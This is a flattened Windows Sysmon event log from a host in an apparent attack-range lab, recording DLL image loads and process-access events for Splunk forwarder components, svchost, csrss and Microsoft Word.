Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000049541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.700{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000049539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000049538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000049536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000049531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.684{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000049530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.685{7BD73061-728D-613B-540B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000049529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6497|C:\Windows\System32\shcore.dll+6387|C:\Windows\System32\shcore.dll+62fd|C:\Windows\System32\shcore.dll+620a|C:\Windows\System32\windows.storage.dll+6165e|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.637{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common 